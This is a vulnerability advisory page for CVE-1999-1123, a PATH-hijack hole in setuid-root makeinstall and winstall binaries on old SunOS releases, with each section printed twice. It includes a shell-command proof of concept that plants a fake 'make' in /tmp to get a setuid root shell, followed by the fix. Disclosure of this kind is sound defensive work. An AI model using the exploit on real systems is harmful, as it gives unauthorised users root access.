SunOS /usr/release/bin/makeinstall Vulnerability
BID:21
Info
SunOS /usr/release/bin/makeinstall Vulnerability
| Bugtraq ID: | 21 |
| Class: | Environment Error |
| CVE: |
CVE-1999-1123 |
| Remote: | No |
| Local: | No |
| Published: | May 20 1991 12:00AM |
| Updated: | Jul 11 2009 12:16AM |
| Credit: | |
| Vulnerable: |
Sun SunOS 4.1.1 Sun SunOS 4.1 PSR_A Sun SunOS 4.1 Sun SunOS 4.0.3 c Sun SunOS 4.0.3 |
| Not Vulnerable: | |
Discussion
SunOS /usr/release/bin/makeinstall Vulnerability
This applies to sites that have installed Sun Source tapes
only.
The Sun distribution of sources (sunsrc) has an installation
procedure which creates the directory /usr/release/bin and
installs two setuid root files in it: makeinstall and winstall.
These are both binary files which exec other programs:
"make -k install" (makeinstall) or "install" (winstall) without
a full path or reseting the PATH enviroment variable.
This makes it possible for users on that system to become
root.
This applies to sites that have installed Sun Source tapes
only.
The Sun distribution of sources (sunsrc) has an installation
procedure which creates the directory /usr/release/bin and
installs two setuid root files in it: makeinstall and winstall.
These are both binary files which exec other programs:
"make -k install" (makeinstall) or "install" (winstall) without
a full path or reseting the PATH enviroment variable.
This makes it possible for users on that system to become
root.
Exploit / POC
SunOS /usr/release/bin/makeinstall Vulnerability
$ cp /bin/sh /tmp/sh
$ echo chmod 4777 /tmp/sh > /tmp/make
$ chmod a+rx /tmp/make
$ set PATH=/tmp:$PATH
$ export PATH
$ /usr/bin/makeinstall
$ /tmp/sh
#
$ cp /bin/sh /tmp/sh
$ echo chmod 4777 /tmp/sh > /tmp/make
$ chmod a+rx /tmp/make
$ set PATH=/tmp:$PATH
$ export PATH
$ /usr/bin/makeinstall
$ /tmp/sh
#
Solution / Fix
SunOS /usr/release/bin/makeinstall Vulnerability
Solution:
chmod ug-s /usr/release/bin/{makeinstall, winstall}
(if the sources have already been installed)
and/or
edit the makefile in sunsrc/release and change the SETUID
definition (if the sources have been extracted from tape
but not installed yet).
Solution:
chmod ug-s /usr/release/bin/{makeinstall, winstall}
(if the sources have already been installed)
and/or
edit the makefile in sunsrc/release and change the SETUID
definition (if the sources have been extracted from tape
but not installed yet).